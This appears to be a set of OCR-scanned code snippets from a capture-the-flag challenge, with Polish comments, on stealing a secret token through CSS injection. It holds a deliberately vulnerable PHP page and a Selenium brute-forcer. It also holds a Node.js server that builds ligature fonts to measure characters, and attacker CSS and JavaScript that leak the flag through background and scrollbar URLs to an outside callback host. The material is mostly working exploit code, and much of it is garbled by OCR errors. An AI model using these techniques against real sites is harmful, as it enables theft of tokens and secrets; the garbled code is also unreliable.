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<!IDOCTYPE html>

<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible"” content="ie=edge">
<title>Document</title>

</head>

<body>

<?php

$tokenl = md5($_SERVER['HTTP_USER_AGENT']);

?>

<input type=hidden value=<?=$%$tokenl ?>>

<script>

var TOKEN = 'xctf{dobra_robota_jestes_mistrzem_CSS}';

</script>

<style>
true<?=preg_replace( '#</style#i', '#', $_GET['css']) ?>
</style>

</body>
</html>
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import string
from selenium import webdriver
browser = webdriver.Chrome()
flag = "'
s = string.digits+string.ascii_letters+'{'+'}'+" '
for i in s:

flag += i

url = "http://127.0.0.1/cssgame/?css=input[value”r=%%22%s%%22]%%20{%%20background:url(http://xxx.Xxxx.XxXx
.Xxx:8885/%s);}"' %(flag, flag)

flag=flag[:-1]

browser.get(str(url))
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<svg>
<defs>
<font id="hack" horiz-adv-x="0">

<font-face font-family="hack" units-per-em="1000" />
<missing-glyph />

<glyph unicode="a" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="b" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="c" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="d" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="e" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="f" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="g" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="h" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="i" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="j" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="k" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="1" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="m" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="n" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="0" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="p" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="q" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="r" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="s" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="t" horiz-adv-x="0" d="M1 0z"/>

<glyph unicode="u" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="v" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="w" horiz-adv-x="0" d="M1 0z"/>

<glyph unicode="x" horiz-adv-x="0" d="M1 0z"/>

<glyph unicode="y" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="z" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="sekurak" horiz-adv-x="8000" d="M1 @z"/>
</font>
</defs>

</svg>
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const express = require('express');

const app = express();

// Serwer ExprssJS domyslnie dodaje nagtowek ETag,
// ale nam nie jest to potrzebne, wiec wytgczamy.
app.disable('etag');

const PORT = 3001;

const js2xmlparser = require('js2xmlparser');
const fs = require('fs');

const tmp = require('tmp');

const rimraf = require('rimraf');

const child_process = require('child_process');

// Generujemy fonta dla zadanego przedrostka
// 1 znakow, dla Rtorych ma zostac utworzona ligatura.
function createFont(prefix, charsTolLigature) {
let font = {
"defs": {

"FAnt". [
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"id": "hack",
"horiz-adv-x": "@"
¥
"font-face": {
"@": {
"font-family": "hack",
"units-per-em": "1000"
}
¥
"glyph”: []

};

// Domyslnie wszystkie mozliwe znaki majq zerowq szerokRosc...
let glyphs = font.defs.font.glyph;
for (let c = Ox20; c <= @Ox7e; c += 1) {
const glyph = {
"0": {

"unicode": String.fromCharCode(c),

"horiz-adv-x": "@",
"d": "M1 ez",
}
s
glyphs.push(glyph);
}
// ... za wyjqtkiem Lligatur, kRtore sq BARDZO szerokie.

charsToLigature.forEach(c => {
const glyph = {
"0": {
"unicode": prefix + c,
"horiz-adv-x": "10000",
"d": "M1 ez",

}
glyphs.push(glyph);
1)

// Konwertujemy JSON-a na SVG.
const xml = js2xmlparser.parse("svg", font);

// A nastepnie wykorzystujemy fontforge
// do zamiany SVG na WOFF.
const tmpobj = tmp.dirSync();
fs.writeFileSync( " ${tmpobj.name}/font.svg , xml);
child_process.spawnSync("/usr/bin/fontforge", [
“${__dirname}/script.fontforge’,
" %${tmpobj.name}/font.svg"
1

const woff = fs.readFileSync(  ${tmpobj.name}/font.woff );

// Usuwamy katalog tymczasowy.
rimraf.sync(tmpobj.name);

// I zwracamy fonta w postaci WOFF.
return woff;



// Endpoint do generowania fontow.
app.get("/font/:prefix/:charsToLigature"”, (req, res) => {
const { prefix, charsTolLigature } = req.params;

// Dbamy o to by font znalazt sie w cache'u.
res.set({
'Cache-Control': 'public, max-age=600',
'Content-Type': 'application/font-woff',
'Access-Control-Allow-Origin': '*',

1)

res.send(createFont(prefix, Array.from(charsToLigature)));
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// Endpoint do przyjmowania znakow przez potqczenie zwrotne
app.get("/reverse/:chars", function(req, res) {
res.cookie('chars', req.params.chars);
res.set('Set-Cookie', “chars=${encodeURIComponent(req.params.chars)}; Path=/");
res.send();
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app.get('/cookie.js', (req, res) => {
trueres.sendFile('js.cookie.js"', {
truetrueroot: './node_modules/js-cookie/src/"’
true});

1)

app.get('/index.html', (req, res) => {
trueres.sendFile('index.html', {
truetrueroot: '.’'
true});

1)

app.listen(PORT, () => {
trueconsole.log( Listening on ${PORT}... );
)
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<style>
@font-face {
font-family: "hack";
src: url(http://172.16.71.138:3001/font/xctf{/x); #EFEFRIAERKapi

}
script {
display: table; #HEF scripthas BN A RIS Bom ok
font-family: "hack";
white-space: nowrap;
background: lightblue;
}

body: :-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
display:block;
background: blue url(http://xxx.XXX.XXX.XXX:9999); #Y H IR W V5 M vps
}
</style>
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<script>
//const chars = ['t','f']
const chars = 'abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{} '.split('")
let ff = [],
data = "'
let prefix = 'xctf{'
chars.forEach(c => {
var css = "'
css = "=,/ /. /\fFa{ D) {}'
css +=
“body{overflow-y:hidden;overflow-x:auto;white-space:nowrap;display:block}html{display:block}*{di
splay:none}body: : -webkit-scrollbar{display:block;background: blue url(http://172.16.71.138:9999/?%{encodeURIComp
onent(prefix+c)})}”
css += ~@font-face{font-family:a${c.charCodeAt()};src:url(http://172.16.71.138:23460/font/${prefix}/

${c});}¥
css += “script{font-family:a${c.charCodeAt()};display:block}"
document.write(
‘<iframe scrolling=yes samesite src="http://127.0.0.1/index.php?css=" +
encodeURIComponent(css) +
'"" style="width:1000000px" onload="event.target.style.width=\"'100px\"'"></iframe>")
)
</script>
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